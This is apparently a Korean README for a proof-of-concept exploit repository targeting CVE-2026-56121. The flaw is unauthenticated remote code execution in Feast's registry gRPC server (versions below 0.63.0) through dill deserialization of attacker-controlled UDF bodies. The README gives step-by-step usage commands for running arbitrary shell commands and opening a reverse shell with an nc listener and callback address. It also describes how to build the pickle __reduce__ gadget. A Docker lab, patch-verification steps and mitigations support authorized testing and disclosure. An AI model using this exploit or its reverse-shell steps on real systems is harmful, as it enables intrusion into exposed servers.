
CVE-2026-56121 Proof-of-concept 익스플로잇으로, 안전하지 않은 dill 역직렬화를 통해 Feast 레지스트리 gRPC 서버에서 인증 없는 RCE를 발생시킵니다. 테스트 및 검증을 위한 도커화된 취약성 실험실을 포함합니다.
Feast(< 0.63.0)에서 레지스트리 gRPC 서버의 안전하지 않은 dill.loads 역직렬화를 통한 인증 없는 원격 코드 실행 취약점입니다.
이 저장소에는 자체 포함된 개념 증명(PoC) 익스플로잇과 이를 검증하기 위한 Docker 기반 취약 실습 환경이 포함되어 있습니다.
| CVE | CVE-2026-56121 |
| 제품 | Feast (피처 스토어) — 레지스트리 gRPC 서버 |
| 영향 범위 | feast < 0.63.0 |
| 수정 버전 | 0.63.0 (커밋 835cda8) |
| 취약점 분류 | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 인증 없는 원격 코드 실행 (기본 설정은 auth: no_auth) |
| 기본 포트 | 6570/tcp (gRPC 레지스트리 서버) |
⚠️ 승인된 보안 테스트 및 교육 목적으로만 사용하세요. 번들로 제공되는 Docker 실습 환경 또는 소유하거나 명시적으로 테스트가 허용된 시스템에서만 실행하세요. 제3자 시스템에 대한 무단 사용은 불법입니다.
Feast 레지스트리 gRPC 핸들러 RegistryServer.ApplyFeatureView는 권한 검사를 실행하기 전에 수신된 피처 뷰 스펙을 OnDemandFeatureView.from_proto(...)를 호출하여 역직렬화합니다. 비어 있지 않은 UDF 본문을 가진 pandas 모드의 온디맨드 피처 뷰의 경우, 해당 경로는 PandasTransformation.from_proto에 도달하며, 이는 공격자가 제어하는 바이트에 대해 dill.loads(user_defined_function.body) 를 실행합니다. dill은 pickle opcode를 실행하므로, 조작된 __reduce__를 가진 객체는 서버 프로세스에서 임의의 Python 코드를 실행합니다. 기본 제공 설정은 auth: no_auth이며 gRPC 서버에는 인증 인터셉터가 없으므로 포트 6570에 도달할 수 있는 모든 사용자가 코드 실행을 할 수 있습니다.
전체 코드 경로 분석 및 패치 차이점은 ANALYSIS.md를 참조하세요.
.
├── exploit/
│ ├── exploit.py # 전체 PoC 클라이언트: --check / --cmd / --reverse-shell
│ ├── poc.py # 최소 단일 파일 PoC, 약 90줄의 동일한 프리미티브
│ ├── build_protos.sh # [email protected]에서 protobuf 스텁 (재)생성
│ └── protos/ # 커밋된 생성 *_pb2 스텁 (protoc 없이 PoC 실행)
├── lab/
│ ├── Dockerfile # 기본적으로 feast==0.62.0; FEAST_VERSION으로 릴리스 선택
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # 최소 Feast 프로젝트 (auth: no_auth)
├── requirements.txt # 익스플로잇 의존성: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# 레지스트리 gRPC 서버가 이제 localhost:6570에서 수신 대기 중
docker compose logs -f # "Grpc server started" 메시지 대기
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
안전한 확인 (비파괴적) — 셸 명령을 실행하지 않고 /tmp에 마커 파일을 작성하고 호스트 정보를 반환하여 서버가 공격자 데이터를 역직렬화함을 증명합니다:
python exploit/exploit.py --target 127.0.0.1:6570 --check
명령 실행 및 출력 확인 (기본 모드):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
대화형 리버스 셸 — 먼저 리스너를 시작한 후 페이로드를 전달하세요:
# 터미널 A
nc -lvnp 4444
# 터미널 B (컨테이너가 다시 연결할 수 있는 주소 사용)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
--cmd 및 --check 모드는 익스플로잇 자체에서 수명이 짧은 TCP 리스너를 시작하고 대상이 다시 보내는 내용을 출력합니다 — 대상 이미지에 외부 도구가 필요하지 않습니다.
전체 프리미티브를 하나의 읽기 쉬운 파일로 원한다면 exploit/poc.py에 축약된 동등한 버전이 있습니다:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
콜백 참고 사항.
--check,--cmd및poc.py는 대상이 사용자 머신의 리스너에 다시 연결하는 것에 의존합니다. 호스트에서 실행하면 바로 작동합니다. 컨테이너 내부에서 익스플로잇을 실행하는 경우, 실습 환경의 네트워크에 연결하세요 (docker run --network lab_default ...). 그렇지 않으면 페이로드가 실행되지만 응답이 도착하지 않아 도구가 "no callback"을 보고합니다.
exploit/protos/의 스텁은 커밋되어 있으므로 protoc가 필요하지 않습니다. 재생성하려면 스크립트를 사용하세요 — 의도적으로 grpcio-tools를 고정합니다:
./exploit/build_protos.sh # 고정된 python:3.11 컨테이너에서 실행
protoc는 모든 _pb2.py에 gencode 버전을 기록하며, protobuf는 설치된 런타임보다 최신 gencode를 가진 스텁 로드를 거부합니다. 이 고정은 protobuf >= 5.29, < 8에서 스텁이 로드되도록 유지합니다 (5.29.6, 6.33.6 및 7.36.0에서 검증됨).
수정된 릴리스로 실습 환경을 다시 빌드하고 익스플로잇을 다시 실행하세요:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
0.63.0에서 예상 결과: [-] No callback received. 및 대상에 마커 파일 없음 — 핸들러가 skip_udf=True를 전달하므로 권한 검사 전에 UDF 본문이 역직렬화되지 않습니다. docker compose down && docker compose up --build -d로 취약 실습 환경으로 다시 전환하세요.
cd lab && docker compose down -v
on_demand_feature_view 스펙이 mode = "pandas"이고 feature_transformation.user_defined_function (UserDefinedFunctionV2)이 있는 ApplyFeatureViewRequest를 구성합니다:
body_text = 비어 있지 않음 (pandas 역직렬화 분기에 도달하는 데 필요),body = __reduce__가 exec(<python>)을 호출하는 객체의 pickle.feast.registry.RegistryServer/ApplyFeatureView에 단일 인증 없는 gRPC 호출을 보냅니다.from_proto 중에 dill.loads(body)를 실행합니다 — 권한 검사 전에 — 페이로드를 실행합니다. RPC 자체는 이후 오류가 발생할 수 있습니다; 코드는 이미 실행되었습니다.익스플로잇은 표준 라이브러리 pickle 모듈로 가젯을 제작합니다 (서버의 dill.loads는 일반 pickle opcode를 문제없이 디코딩합니다). 따라서 공격자 측에는 grpcio + protobuf만 필요합니다.
>= 0.63.0으로 업그레이드하세요. 수정 사항은 *.from_proto를 통해 skip_udf=True 플래그를 전달하므로 레지스트리 서버는 UDF 본문을 역직렬화 하지 않고 스펙 메타데이터에 대한 권한을 검증합니다.6570)를 신뢰할 수 없는 네트워크에 노출하지 마세요.no_auth 대신 인증(auth: kubernetes / auth: oidc)을 활성화하세요.